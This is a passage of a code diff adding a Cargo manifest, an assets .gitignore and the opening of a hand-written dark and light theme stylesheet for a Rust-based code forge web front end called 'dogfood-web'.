| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [[bin]] | |
| 9 | + | name = "dogfood-web" | |
| 10 | + | path = "src/main.rs" | |
| 11 | + | ||
| 12 | + | [dependencies] | |
| 13 | + | df-db = { path = "../df-db" } | |
| 14 | + | df-auth = { path = "../df-auth" } | |
| 15 | + | df-store = { path = "../df-store" } | |
| 16 | + | df-render = { path = "../df-render" } | |
| 17 | + | ||
| 18 | + | anyhow.workspace = true | |
| 19 | + | base64.workspace = true | |
| 20 | + | axum.workspace = true | |
| 21 | + | axum-extra.workspace = true | |
| 22 | + | chrono.workspace = true | |
| 23 | + | dotenvy.workspace = true | |
| 24 | + | hex.workspace = true | |
| 25 | + | hmac.workspace = true | |
| 26 | + | maud.workspace = true | |
| 27 | + | percent-encoding.workspace = true | |
| 28 | + | rand.workspace = true | |
| 29 | + | serde.workspace = true | |
| 30 | + | serde_json.workspace = true | |
| 31 | + | sha2.workspace = true | |
| 32 | + | sqlx.workspace = true | |
| 33 | + | subtle.workspace = true | |
| 34 | + | tokio.workspace = true | |
| 35 | + | tower.workspace = true | |
| 36 | + | tower-http.workspace = true | |
| 37 | + | tracing.workspace = true | |
| 38 | + | tracing-subscriber.workspace = true | |
| 39 | + | uuid.workspace = true | |
| 40 | + | ||
| 41 | + | # Parsing `_csrf` out of a urlencoded body on the no-JavaScript path. | |
| 42 | + | # Streaming the request body into `git` on the push path. | |
| 43 | + | futures = { workspace = true } | |
| 44 | + | ||
| 45 | + | form_urlencoded = "1" | |
| 46 | + | # `axum-extra`'s cookie builder takes `time` types for expiry. | |
| 47 | + | time = "0.3" | |
| 48 | + | ||
| 49 | + | [dev-dependencies] | |
| 50 | + | async-trait.workspace = true | |
Acrates/df-web/assets/.gitignore+2−0
| @@ −0,0 +1,2 @@ | |||
| 1 | + | # Produced by the esbuild stage in docker/Dockerfile, not by hand. | |
| 2 | + | editor.min.js | |
Acrates/df-web/assets/app.css2540 lines+2540−0
| @@ −0,0 +1,2540 @@ | |||
| 1 | + | /* | |
| 2 | + | * Dogfood design tokens and base styles. | |
| 3 | + | * | |
| 4 | + | * Ported from the Next.js design prototype (app/globals.css and | |
| 5 | + | * app/design/page.tsx), so the Maud UI matches the design that was signed off. | |
| 6 | + | * | |
| 7 | + | * Current revision carries the vermilion-brand redesign: a warm near-black | |
| 8 | + | * neutral ramp, `--brand` as the single personality accent, and self-hosted | |
| 9 | + | * IBM Plex / JetBrains Mono. `--action` is still the link colour — the two are | |
| 10 | + | * not interchangeable, and the design is careful about which is which. | |
| 11 | + | * | |
| 12 | + | * NOTE — deviation from spec §1, recorded deliberately: the spec chose Tailwind. | |
| 13 | + | * This is hand-authored CSS instead, because Tailwind would put a Node | |
| 14 | + | * toolchain in the release image for what is currently a small, stable set of | |
| 15 | + | * styles. The tokens below are the same ones the prototype defines, so moving | |
| 16 | + | * to Tailwind later is a mechanical change rather than a redesign. | |
| 17 | + | */ | |
| 18 | + | ||
| 19 | + | :root { | |
| 20 | + | color-scheme: dark; | |
| 21 | + | ||
| 22 | + | /* neutrals — warm near-black, dark is primary */ | |
| 23 | + | --bg: #12100e; | |
| 24 | + | --surface: #1a1815; | |
| 25 | + | --surface-raised: #23201c; | |
| 26 | + | --border: #2f2b26; | |
| 27 | + | --border-strong: #423d36; | |
| 28 | + | --text: #ece7df; | |
| 29 | + | --text-dim: #a39c90; | |
| 30 | + | --text-faint: #6f6a5f; | |
| 31 | + | ||
| 32 | + | /* brand — vermilion, the personality. Reserved for the wordmark, primary | |
| 33 | + | actions, and the one accent per section heading; it loses its force the | |
| 34 | + | moment it is used for ordinary body links. */ | |
| 35 | + | --brand: #ff4d1f; | |
| 36 | + | --brand-ink: #12100e; | |
| 37 | + | --grid-line: rgb(255 255 255 / 0.022); | |
| 38 | + | --glow: rgb(255 77 31 / 0.14); | |
| 39 | + | ||
| 40 | + | /* accents */ | |
| 41 | + | --identity: #e6a92e; | |
| 42 | + | --action: #4fa3c7; | |
| 43 | + | ||
| 44 | + | /* state */ | |
| 45 | + | --open: #5aa86a; | |
| 46 | + | --merged: #5b86bd; | |
| 47 | + | --abandoned: #7c7568; | |
| 48 | + | --conflict: #db5a86; | |
| 49 | + | --danger: #e0603f; | |
| 50 | + | ||
| 51 | + | /* diff */ | |
| 52 | + | --diff-add-bg: #16281c; | |
| 53 | + | --diff-add-text: #82cf98; | |
| 54 | + | --diff-del-bg: #331c17; | |
| 55 | + | --diff-del-text: #e79a86; | |
| 56 | + | --diff-conflict-bg: #33202a; | |
| 57 | + | --diff-conflict-text: #e59ab5; | |
| 58 | + | ||
| 59 | + | /* syntax highlighting (spec §8), warmed to sit on the near-black ground */ | |
| 60 | + | --hl-comment: #7a7264; | |
| 61 | + | --hl-keyword: #e0799f; | |
| 62 | + | --hl-string: #96c47e; | |
| 63 | + | --hl-number: #e6a92e; | |
| 64 | + | --hl-function: #6fb3d1; | |
| 65 | + | --hl-type: #e0b060; | |
| 66 | + | --hl-constant: #e6a92e; | |
| 67 | + | --hl-variable: #ece7df; | |
| 68 | + | --hl-operator: #a39c90; | |
| 69 | + | --hl-tag: #e0799f; | |
| 70 | + | --hl-attribute: #6fb3d1; | |
| 71 | + | --hl-punctuation: #7c7568; | |
| 72 | + | ||
| 73 | + | /* shape */ | |
| 74 | + | --radius: 3px; | |
| 75 | + | --radius-sm: 2px; | |
| 76 | + | ||
| 77 | + | /* Each stack keeps its system fallbacks after the hosted face, so a failed | |
| 78 | + | or blocked font request degrades to a near-enough system font rather than | |
| 79 | + | to a default serif. */ | |
| 80 | + | --font-sans: "IBM Plex Sans", ui-sans-serif, system-ui, -apple-system, | |
| 81 | + | "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; | |
| 82 | + | --font-mono: "JetBrains Mono", ui-monospace, SFMono-Regular, "SF Mono", Menlo, | |
| 83 | + | Consolas, "Liberation Mono", monospace; | |
| 84 | + | --font-condensed: "IBM Plex Sans Condensed", ui-sans-serif, | |
| 85 | + | "Roboto Condensed", "Arial Narrow", system-ui, sans-serif; | |
| 86 | + | ||
| 87 | + | /* type scale, base 14 */ | |
| 88 | + | --text-xs: 11px; | |
| 89 | + | --text-sm: 12.5px; | |
| 90 | + | --text-base: 14px; | |
| 91 | + | --text-md: 16px; | |
| 92 | + | --text-lg: 20px; | |
| 93 | + | --text-xl: 28px; | |
| 94 | + | --text-2xl: 40px; | |
| 95 | + | --text-3xl: 60px; | |
| 96 | + | } | |
| 97 | + | ||
| 98 | + | :root.light, | |
| 99 | + | :root[data-theme="light"] { | |
| 100 | + | color-scheme: light; | |
| 101 | + | ||
| 102 | + | --bg: #f4f1ea; | |
| 103 | + | --surface: #fffdf9; | |
| 104 | + | --surface-raised: #fffdf9; | |
| 105 | + | --border: #e2ddd1; | |
| 106 | + | --border-strong: #c7c1b1; | |
| 107 | + | --text: #1c1813; | |
| 108 | + | --text-dim: #5f594e; | |
| 109 | + | --text-faint: #8b8477; | |
| 110 | + | ||
| 111 | + | --brand: #e23c11; | |
| 112 | + | --brand-ink: #fffdf9; | |
| 113 | + | --grid-line: rgb(0 0 0 / 0.025); | |
| 114 | + | --glow: rgb(226 60 17 / 0.1); | |
| 115 | + | ||
| 116 | + | --identity: #a06f0e; | |
| 117 | + | --action: #226b83; | |
| 118 | + | ||
| 119 | + | --open: #2d7d3c; | |
| 120 | + | --merged: #3f5f9e; | |
| 121 | + | --abandoned: #6b6355; | |
| 122 | + | --conflict: #b23566; | |
| 123 | + | --danger: #b23c22; | |
| 124 | + | ||
| 125 | + | --diff-add-bg: #e2f2e6; | |
| 126 | + | --diff-add-text: #1c6b31; | |
| 127 | + | --diff-del-bg: #fae6e0; | |
| 128 | + | --diff-del-text: #9e3b25; | |
| 129 | + | --diff-conflict-bg: #f7e5ec; | |
| 130 | + | --diff-conflict-text: #9e2b58; | |
| 131 | + | ||
| 132 | + | --hl-comment: #837c6e; | |
| 133 | + | --hl-keyword: #a03060; | |
| 134 | + | --hl-string: #376b2c; | |
| 135 | + | --hl-number: #8a6510; | |
| 136 | + | --hl-function: #226b83; | |
| 137 | + | --hl-type: #855c14; | |
| 138 | + | --hl-constant: #8a6510; | |
| 139 | + | --hl-variable: #1c1813; | |
| 140 | + | --hl-operator: #5f594e; | |
| 141 | + | --hl-tag: #a03060; | |
| 142 | + | --hl-attribute: #226b83; | |
| 143 | + | --hl-punctuation: #8b8477; | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | /* ─── fonts ──────────────────────────────────────────────────────────────── */ | |
| 147 | + | ||
| 148 | + | /* Self-hosted rather than pulled from a CDN: the CSP is `font-src 'self'`, and | |
| 149 | + | a forge should not phone a third party on every page load. | |
| 150 | + | All Latin subsets — see `serve_font` in main.rs for why. | |
| 151 | + | `font-display: swap` so text is readable while the face is still in flight; | |
| 152 | + | the fallback stacks are chosen to be close enough in width that the swap | |
| 153 | + | does not reflow the page badly. */ | |
| 154 | + | ||
| 155 | + | @font-face { | |
| 156 | + | font-family: "IBM Plex Sans"; | |
| 157 | + | font-style: normal; | |
| 158 | + | font-weight: 400; | |
| 159 | + | font-display: swap; | |
| 160 | + | src: url("/assets/fonts/plex-sans-400.woff2") format("woff2"); | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | @font-face { | |
| 164 | + | font-family: "IBM Plex Sans"; | |
| 165 | + | font-style: normal; | |
| 166 | + | font-weight: 500; | |
| 167 | + | font-display: swap; | |
| 168 | + | src: url("/assets/fonts/plex-sans-500.woff2") format("woff2"); | |
| 169 | + | } | |
| 170 | + | ||
| 171 | + | @font-face { | |
| 172 | + | font-family: "IBM Plex Sans"; | |
| 173 | + | font-style: normal; | |
| 174 | + | font-weight: 600; | |
| 175 | + | font-display: swap; | |
| 176 | + | src: url("/assets/fonts/plex-sans-600.woff2") format("woff2"); | |
| 177 | + | } | |
| 178 | + | ||
| 179 | + | @font-face { | |
| 180 | + | font-family: "IBM Plex Sans Condensed"; | |
| 181 | + | font-style: normal; | |
| 182 | + | font-weight: 500; | |
| 183 | + | font-display: swap; | |
| 184 | + | src: url("/assets/fonts/plex-condensed-500.woff2") format("woff2"); | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | @font-face { | |
| 188 | + | font-family: "IBM Plex Sans Condensed"; | |
| 189 | + | font-style: normal; | |
| 190 | + | font-weight: 600; | |
| 191 | + | font-display: swap; | |
| 192 | + | src: url("/assets/fonts/plex-condensed-600.woff2") format("woff2"); | |
| 193 | + | } | |
| 194 | + | ||
| 195 | + | @font-face { | |
| 196 | + | font-family: "IBM Plex Sans Condensed"; | |
| 197 | + | font-style: normal; | |
| 198 | + | font-weight: 700; | |
| 199 | + | font-display: swap; | |
| 200 | + | src: url("/assets/fonts/plex-condensed-700.woff2") format("woff2"); | |
| 201 | + | } | |
| 202 | + | ||
| 203 | + | @font-face { | |
| 204 | + | font-family: "JetBrains Mono"; | |
| 205 | + | font-style: normal; | |
| 206 | + | font-weight: 400; | |
| 207 | + | font-display: swap; | |
| 208 | + | src: url("/assets/fonts/jetbrains-mono-400.woff2") format("woff2"); | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | @font-face { | |
| 212 | + | font-family: "JetBrains Mono"; | |
| 213 | + | font-style: normal; | |
| 214 | + | font-weight: 500; | |
| 215 | + | font-display: swap; | |
| 216 | + | src: url("/assets/fonts/jetbrains-mono-500.woff2") format("woff2"); | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | *, | |
| 220 | + | *::before, | |
| 221 | + | *::after { | |
| 222 | + | box-sizing: border-box; | |
| 223 | + | } | |
| 224 | + | ||
| 225 | + | html, | |
| 226 | + | body { | |
| 227 | + | margin: 0; | |
| 228 | + | padding: 0; | |
| 229 | + | } | |
| 230 | + | ||
| 231 | + | body { | |
| 232 | + | background: var(--bg); | |
| 233 | + | color: var(--text); | |
| 234 | + | font-family: var(--font-sans); | |
| 235 | + | font-size: 14px; | |
| 236 | + | line-height: 1.5; | |
| 237 | + | -webkit-font-smoothing: antialiased; | |
| 238 | + | } | |
| 239 | + | ||
| 240 | + | ::selection { | |
| 241 | + | background: color-mix(in srgb, var(--brand) 32%, transparent); | |
| 242 | + | color: var(--text); | |
| 243 | + | } | |
| 244 | + | ||
| 245 | + | a, | |
| 246 | + | button, | |
| 247 | + | input, | |
| 248 | + | select, | |
| 249 | + | textarea, | |
| 250 | + | [role="button"], | |
| 251 | + | [tabindex] { | |
| 252 | + | transition: | |
| 253 | + | background-color 80ms ease-out, | |
| 254 | + | border-color 80ms ease-out, | |
| 255 | + | color 80ms ease-out, | |
| 256 | + | box-shadow 120ms ease-out, | |
| 257 | + | opacity 80ms ease-out; | |
| 258 | + | } | |
| 259 | + | ||
| 260 | + | a { | |
| 261 | + | color: var(--action); | |
| 262 | + | text-decoration: none; | |
| 263 | + | } | |
| 264 | + | ||
| 265 | + | a:hover { | |
| 266 | + | text-decoration: underline; | |
| 267 | + | } | |
| 268 | + | ||
| 269 | + | code, | |
| 270 | + | pre, | |
| 271 | + | .mono { | |
| 272 | + | font-family: var(--font-mono); | |
| 273 | + | font-size: 12.5px; | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | /* ─── layout ─────────────────────────────────────────────────────────────── */ | |
| 277 | + | ||
| 278 | + | /* Sticky so the wordmark and search stay reachable down a long diff. | |
| 279 | + | `backdrop-filter` is an enhancement — the 85% background already keeps the | |
| 280 | + | text legible on browsers that ignore it. */ | |
| 281 | + | .masthead { | |
| 282 | + | position: sticky; | |
| 283 | + | top: 0; | |
| 284 | + | z-index: 30; | |
| 285 | + | border-bottom: 1px solid var(--border); | |
| 286 | + | background: color-mix(in srgb, var(--bg) 85%, transparent); | |
| 287 | + | backdrop-filter: blur(6px); | |
| 288 | + | } | |
| 289 | + | ||
| 290 | + | .masthead-rule { | |
| 291 | + | display: block; | |
| 292 | + | width: 100%; | |
| 293 | + | height: 2px; | |
| 294 | + | background: var(--brand); | |
| 295 | + | } | |
| 296 | + | ||
| 297 | + | .masthead-inner, | |
| 298 | + | .wrap { | |
| 299 | + | max-width: 1180px; | |
| 300 | + | margin: 0 auto; | |
| 301 | + | padding: 0 20px; | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | .masthead-inner { | |
| 305 | + | display: flex; | |
| 306 | + | align-items: center; | |
| 307 | + | gap: 16px; | |
| 308 | + | height: 48px; | |
| 309 | + | } | |
| 310 | + | ||
| 311 | + | .brand { | |
| 312 | + | display: flex; | |
| 313 | + | align-items: center; | |
| 314 | + | gap: 8px; | |
| 315 | + | flex-shrink: 0; | |
| 316 | + | color: var(--text); | |
| 317 | + | font-family: var(--font-condensed); | |
| 318 | + | font-size: var(--text-md); | |
| 319 | + | font-weight: 700; | |
| 320 | + | text-transform: uppercase; | |
| 321 | + | letter-spacing: 0.02em; | |
| 322 | + | } | |
| 323 | + | ||
| 324 | + | .brand:hover { | |
| 325 | + | text-decoration: none; | |
| 326 | + | color: var(--brand); | |
| 327 | + | } | |
| 328 | + | ||
| 329 | + | .brand-mark { | |
| 330 | + | color: var(--brand); | |
| 331 | + | flex-shrink: 0; | |
| 332 | + | } | |
| 333 | + | ||
| 334 | + | .masthead nav { | |
| 335 | + | display: flex; | |
| 336 | + | gap: 14px; | |
| 337 | + | margin-left: auto; | |
| 338 | + | align-items: center; | |
| 339 | + | } | |
| 340 | + | ||
| 341 | + | .masthead nav a { | |
| 342 | + | color: var(--text-dim); | |
| 343 | + | } | |
| 344 | + | ||
| 345 | + | .masthead nav a:hover { | |
| 346 | + | color: var(--text); | |
| 347 | + | text-decoration: none; | |
| 348 | + | } | |
| 349 | + | ||
| 350 | + | main { | |
| 351 | + | padding: 28px 0 64px; | |
| 352 | + | } | |
| 353 | + | ||
| 354 | + | /* ─── typography ─────────────────────────────────────────────────────────── */ | |
| 355 | + | ||
| 356 | + | h1 { | |
| 357 | + | font-size: 20px; | |
| 358 | + | font-weight: 600; | |
| 359 | + | letter-spacing: -0.01em; | |
| 360 | + | margin: 0 0 6px; | |
| 361 | + | } | |
| 362 | + | ||
| 363 | + | h2 { | |
| 364 | + | font-size: 15px; | |
| 365 | + | font-weight: 600; | |
| 366 | + | margin: 0 0 10px; | |
| 367 | + | } | |
| 368 | + | ||
| 369 | + | .lede { | |
| 370 | + | color: var(--text-dim); | |
| 371 | + | margin: 0 0 24px; | |
| 372 | + | max-width: 60ch; | |
| 373 | + | } | |
| 374 | + | ||
| 375 | + | .dim { | |
| 376 | + | color: var(--text-dim); | |
| 377 | + | } | |
| 378 | + | ||
| 379 | + | .faint { | |
| 380 | + | color: var(--text-faint); | |
| 381 | + | } | |
| 382 | + | ||
| 383 | + | .label-condensed { | |
| 384 | + | font-family: var(--font-condensed); | |
| 385 | + | font-weight: 500; | |
| 386 | + | font-size: var(--text-xs); | |
| 387 | + | line-height: 16px; | |
| 388 | + | letter-spacing: 0.08em; | |
| 389 | + | text-transform: uppercase; | |
| 390 | + | color: var(--text-dim); | |
| 391 | + | } | |
| 392 | + | ||
| 393 | + | /* Section headings in the new design lead with a brand slash. It is | |
| 394 | + | decorative, so it is a pseudo-element rather than markup — a screen reader | |
| 395 | + | should hear "awaiting your review", not "slash awaiting your review". */ | |
| 396 | + | .label-condensed.slash::before { | |
| 397 | + | content: "/"; | |
| 398 | + | color: var(--brand); | |
| 399 | + | margin-right: 0.4em; | |
| 400 | + | } | |
| 401 | + | ||
| 402 | + | /* Big expressive display type. Condensed, tight, and set at a line-height | |
| 403 | + | below 1 — it only works at large sizes, so it is never applied below 20px. */ | |
| 404 | + | .display { | |
| 405 | + | font-family: var(--font-condensed); | |
| 406 | + | font-weight: 700; | |
| 407 | + | letter-spacing: -0.01em; | |
| 408 | + | line-height: 0.98; | |
| 409 | + | } | |
| 410 | + | ||
| 411 | + | /* Marker-highlight on a single keyword in a headline. `box-decoration-break` | |
| 412 | + | keeps the highlight intact when the phrase wraps across lines. */ | |
| 413 | + | .mark { | |
| 414 | + | background: var(--brand); | |
| 415 | + | color: var(--brand-ink); | |
| 416 | + | padding: 0 0.18em; | |
| 417 | + | box-decoration-break: clone; | |
| 418 | + | -webkit-box-decoration-break: clone; | |
| 419 | + | } | |
| 420 | + | ||
| 421 | + | .tnum { | |
| 422 | + | font-variant-numeric: tabular-nums; | |
| 423 | + | } | |
| 424 | + | ||
| 425 | + | /* Faint engineering grid behind the page. Pure decoration, and deliberately | |
| 426 | + | near-invisible — at 2.2% it reads as texture rather than as a table. */ | |
| 427 | + | .grid-field { | |
| 428 | + | background-image: | |
| 429 | + | linear-gradient(var(--grid-line) 1px, transparent 1px), | |
| 430 | + | linear-gradient(90deg, var(--grid-line) 1px, transparent 1px); | |
| 431 | + | background-size: 44px 44px; | |
| 432 | + | } | |
| 433 | + | ||
| 434 | + | /* Warm radial glow, anchored to the top-left of whatever it is applied to. */ | |
| 435 | + | .brand-glow { | |
| 436 | + | background: radial-gradient(120% 120% at 0% 0%, var(--glow), transparent 60%); | |
| 437 | + | } | |
| 438 | + | ||
| 439 | + | /* Horizontal mono ticker strip along the bottom of the hero. */ | |
| 440 | + | .ticker-rule { | |
| 441 | + | border-top: 1px solid var(--border); | |
| 442 | + | border-bottom: 1px solid var(--border); | |
| 443 | + | } | |
| 444 | + | ||
| 445 | + | .float-shadow { | |
| 446 | + | box-shadow: 0 6px 20px rgb(0 0 0 / 0.35); | |
| 447 | + | } | |
| 448 | + | ||
| 449 | + | :root.light .float-shadow, | |
| 450 | + | :root[data-theme="light"] .float-shadow { | |
| 451 | + | box-shadow: 0 6px 20px rgb(0 0 0 / 0.1); | |
| 452 | + | } | |
| 453 | + | ||
| 454 | + | /* Brand hover accent for links that are not already brand-coloured. */ | |
| 455 | + | .link-brand { | |
| 456 | + | text-underline-offset: 3px; | |
| 457 | + | text-decoration-thickness: 1px; | |
| 458 | + | } | |
| 459 | + | ||
| 460 | + | .link-brand:hover { | |
| 461 | + | color: var(--brand); | |
| 462 | + | text-decoration-line: underline; | |
| 463 | + | text-decoration-color: var(--brand); | |
| 464 | + | } | |
| 465 | + | ||
| 466 | + | /* ─── surfaces ───────────────────────────────────────────────────────────── */ | |
| 467 | + | ||
| 468 | + | .panel { | |
| 469 | + | background: var(--surface); | |
| 470 | + | border: 1px solid var(--border); | |
| 471 | + | border-radius: var(--radius); | |
| 472 | + | padding: 20px; | |
| 473 | + | } | |
| 474 | + | ||
| 475 | + | .panel + .panel { | |
| 476 | + | margin-top: 16px; | |
| 477 | + | } | |
| 478 | + | ||
| 479 | + | .stack { | |
| 480 | + | display: flex; | |
| 481 | + | flex-direction: column; | |
| 482 | + | gap: 16px; | |
| 483 | + | } | |
| 484 | + | ||
| 485 | + | .row { | |
| 486 | + | display: flex; | |
| 487 | + | align-items: center; | |
| 488 | + | gap: 10px; | |
| 489 | + | } | |
| 490 | + | ||
| 491 | + | /* ─── controls ───────────────────────────────────────────────────────────── */ | |
| 492 | + | ||
| 493 | + | .btn { | |
| 494 | + | display: inline-flex; | |
| 495 | + | align-items: center; | |
| 496 | + | gap: 6px; | |
| 497 | + | padding: 6px 14px; | |
| 498 | + | border-radius: var(--radius); | |
| 499 | + | border: 1px solid var(--border-strong); | |
| 500 | + | background: var(--surface-raised); | |
| 501 | + | color: var(--text); | |
| 502 | + | font: inherit; | |
| 503 | + | font-size: 13px; | |
| 504 | + | cursor: pointer; | |
| 505 | + | } | |
| 506 | + | ||
| 507 | + | .btn:hover { | |
| 508 | + | border-color: var(--text-faint); | |
| 509 | + | text-decoration: none; | |
| 510 | + | } | |
| 511 | + | ||
| 512 | + | /* Brand, not action: the design reserves vermilion for the one primary move on | |
| 513 | + | a page. Ordinary links stay `--action` so the accent keeps its weight. */ | |
| 514 | + | .btn-primary { | |
| 515 | + | background: var(--brand); | |
| 516 | + | border-color: var(--brand); | |
| 517 | + | color: var(--brand-ink); | |
| 518 | + | font-family: var(--font-condensed); | |
| 519 | + | font-weight: 600; | |
| 520 | + | text-transform: uppercase; | |
| 521 | + | letter-spacing: 0.03em; | |
| 522 | + | } | |
| 523 | + | ||
| 524 | + | .btn-primary:hover { | |
| 525 | + | filter: brightness(1.08); | |
| 526 | + | } | |
| 527 | + | ||
| 528 | + | .btn-danger { | |
| 529 | + | border-color: var(--danger); | |
| 530 | + | color: var(--danger); | |
| 531 | + | } | |
| 532 | + | ||
| 533 | + | /* Sign out is destructive enough to warn about but too routine to shout, so it | |
| 534 | + | sits quiet in the masthead and only reddens on approach. */ | |
| 535 | + | .btn-quiet-danger { | |
| 536 | + | background: transparent; | |
| 537 | + | border-color: transparent; | |
| 538 | + | color: var(--text-dim); | |
| 539 | + | } | |
| 540 | + | ||
| 541 | + | .btn-quiet-danger:hover { | |
| 542 | + | border-color: color-mix(in srgb, var(--danger) 50%, transparent); | |
| 543 | + | color: var(--danger); | |
| 544 | + | } | |
| 545 | + | ||
| 546 | + | input[type="text"], | |
| 547 | + | input[type="password"], | |
| 548 | + | textarea { | |
| 549 | + | width: 100%; | |
| 550 | + | padding: 7px 10px; | |
| 551 | + | background: var(--bg); | |
| 552 | + | border: 1px solid var(--border-strong); | |
| 553 | + | border-radius: var(--radius); | |
| 554 | + | color: var(--text); | |
| 555 | + | font: inherit; | |
| 556 | + | font-size: 13px; | |
| 557 | + | } | |
| 558 | + | ||
| 559 | + | input:focus, | |
| 560 | + | textarea:focus, | |
| 561 | + | .btn:focus-visible, | |
| 562 | + | a:focus-visible { | |
| 563 | + | outline: 2px solid var(--brand); | |
| 564 | + | outline-offset: 1px; | |
| 565 | + | } | |
| 566 | + | ||
| 567 | + | .field { | |
| 568 | + | margin-bottom: 14px; | |
| 569 | + | } | |
| 570 | + | ||
| 571 | + | .field label { | |
| 572 | + | display: block; | |
| 573 | + | margin-bottom: 5px; | |
| 574 | + | font-size: 12px; | |
| 575 | + | color: var(--text-dim); | |
| 576 | + | } | |
| 577 | + | ||
| 578 | + | .hint { | |
| 579 | + | margin-top: 5px; | |
| 580 | + | font-size: 12px; | |
| 581 | + | color: var(--text-faint); | |
| 582 | + | } | |
| 583 | + | ||
| 584 | + | /* ─── chips and states ───────────────────────────────────────────────────── */ | |
| 585 | + | ||
| 586 | + | .chip { | |
| 587 | + | display: inline-flex; | |
| 588 | + | align-items: center; | |
| 589 | + | padding: 1px 7px; | |
| 590 | + | border-radius: var(--radius-sm); | |
| 591 | + | border: 1px solid var(--border-strong); | |
| 592 | + | font-family: var(--font-mono); | |
| 593 | + | font-size: 11.5px; | |
| 594 | + | color: var(--text-dim); | |
| 595 | + | } | |
| 596 | + | ||
| 597 | + | /* The change-identity chip. jj change ids are the product's central concept, | |
| 598 | + | so they get the one strong accent colour in the palette. */ | |
| 599 | + | .chip-change { | |
| 600 | + | color: var(--identity); | |
| 601 | + | border-color: color-mix(in srgb, var(--identity) 40%, transparent); | |
| 602 | + | background: color-mix(in srgb, var(--identity) 10%, transparent); | |
| 603 | + | } | |
| 604 | + | ||
| 605 | + | .badge { | |
| 606 | + | display: inline-flex; | |
| 607 | + | align-items: center; | |
| 608 | + | padding: 2px 8px; | |
| 609 | + | border-radius: 999px; | |
| 610 | + | font-size: 11.5px; | |
| 611 | + | font-weight: 500; | |
| 612 | + | color: var(--brand-ink); | |
| 613 | + | } | |
| 614 | + | ||
| 615 | + | .badge-open { background: var(--open); } | |
| 616 | + | .badge-merged { background: var(--merged); } | |
| 617 | + | .badge-abandoned { background: var(--abandoned); } | |
| 618 | + | .badge-conflict { background: var(--conflict); } | |
| 619 | + | ||
| 620 | + | /* ─── notices ────────────────────────────────────────────────────────────── */ | |
| 621 | + | ||
| 622 | + | .banner { | |
| 623 | + | padding: 12px 16px; | |
| 624 | + | border-radius: var(--radius); | |
| 625 | + | border: 1px solid var(--border-strong); | |
| 626 | + | background: var(--surface); | |
| 627 | + | margin-bottom: 20px; | |
| 628 | + | } | |
| 629 | + | ||
| 630 | + | .banner-error { | |
| 631 | + | border-color: color-mix(in srgb, var(--danger) 50%, transparent); | |
| 632 | + | background: color-mix(in srgb, var(--danger) 12%, transparent); | |
| 633 | + | } | |
| 634 | + | ||
| 635 | + | .banner-ok { | |
| 636 | + | border-color: color-mix(in srgb, var(--open) 50%, transparent); | |
| 637 | + | background: color-mix(in srgb, var(--open) 12%, transparent); | |
| 638 | + | } | |
| 639 | + | ||
| 640 | + | /* ─── empty states ───────────────────────────────────────────────────────── */ | |
| 641 | + | ||
| 642 | + | .empty { | |
| 643 | + | text-align: center; | |
| 644 | + | padding: 56px 20px; | |
| 645 | + | color: var(--text-dim); | |
| 646 | + | border: 1px dashed var(--border-strong); | |
| 647 | + | border-radius: var(--radius); | |
| 648 | + | } | |
| 649 | + | ||
| 650 | + | .empty h2 { | |
| 651 | + | color: var(--text); | |
| 652 | + | } | |
| 653 | + | ||
| 654 | + | /* ─── code blocks ────────────────────────────────────────────────────────── */ | |
| 655 | + | ||
| 656 | + | .clone-box { | |
| 657 | + | display: flex; | |
| 658 | + | align-items: center; | |
| 659 | + | gap: 8px; | |
| 660 | + | background: var(--bg); | |
| 661 | + | border: 1px solid var(--border); | |
| 662 | + | border-radius: var(--radius); | |
| 663 | + | padding: 8px 10px; | |
| 664 | + | overflow-x: auto; | |
| 665 | + | } | |
| 666 | + | ||
| 667 | + | .clone-box code { | |
| 668 | + | white-space: nowrap; | |
| 669 | + | color: var(--text-dim); | |
| 670 | + | } | |
| 671 | + | ||
| 672 | + | footer { | |
| 673 | + | border-top: 1px solid var(--border); | |
| 674 | + | margin-top: 48px; | |
| 675 | + | padding: 20px 0; | |
| 676 | + | color: var(--text-faint); | |
| 677 | + | font-size: 12px; | |
| 678 | + | } | |
| 679 | + | ||
| 680 | + | footer .wrap { | |
| 681 | + | display: flex; | |
| 682 | + | gap: 8px 16px; | |
| 683 | + | align-items: center; | |
| 684 | + | flex-wrap: wrap; | |
| 685 | + | } | |
| 686 | + | ||
| 687 | + | footer a { | |
| 688 | + | color: var(--text-faint); | |
| 689 | + | } | |
| 690 | + | ||
| 691 | + | .footer-mark { | |
| 692 | + | font-family: var(--font-condensed); | |
| 693 | + | font-weight: 700; | |
| 694 | + | text-transform: uppercase; | |
| 695 | + | letter-spacing: 0.04em; | |
| 696 | + | color: var(--text-dim); | |
| 697 | + | } | |
| 698 | + | ||
| 699 | + | /* Pushed to the far end rather than floated, so it stays put when the row | |
| 700 | + | wraps on a narrow screen. */ | |
| 701 | + | .footer-end { | |
| 702 | + | margin-left: auto; | |
| 703 | + | } | |
| 704 | + | ||
| 705 | + | /* Respect a user's reduced-motion preference (spec §11 accessibility pass). */ | |
| 706 | + | @media (prefers-reduced-motion: reduce) { | |
| 707 | + | *, | |
| 708 | + | *::before, | |
| 709 | + | *::after { | |
| 710 | + | animation-duration: 0.01ms !important; | |
| 711 | + | transition-duration: 0.01ms !important; | |
| 712 | + | } | |
| 713 | + | } | |
| 714 | + | ||
| 715 | + | .live-indicator { | |
| 716 | + | display: inline-flex; | |
| 717 | + | align-items: center; | |
| 718 | + | gap: 6px; | |
| 719 | + | } | |
| 720 | + | ||
| 721 | + | .live-dot { | |
| 722 | + | width: 6px; | |
| 723 | + | height: 6px; | |
| 724 | + | border-radius: 50%; | |
| 725 | + | background: var(--merged); | |
| 726 | + | animation: live-pulse 2s ease-in-out infinite; | |
| 727 | + | } | |
| 728 | + | ||
| 729 | + | @keyframes live-pulse { | |
| 730 | + | 0%, 100% { opacity: 1; } | |
| 731 | + | 50% { opacity: 0.35; } | |
| 732 | + | } | |
| 733 | + | ||
| 734 | + | ||
| 735 | + | /* ─── landing and dashboard ────────────────────────────────────────────────── */ | |
| 736 | + | ||
| 737 | + | .hero { | |
| 738 | + | border: 1px solid var(--border); | |
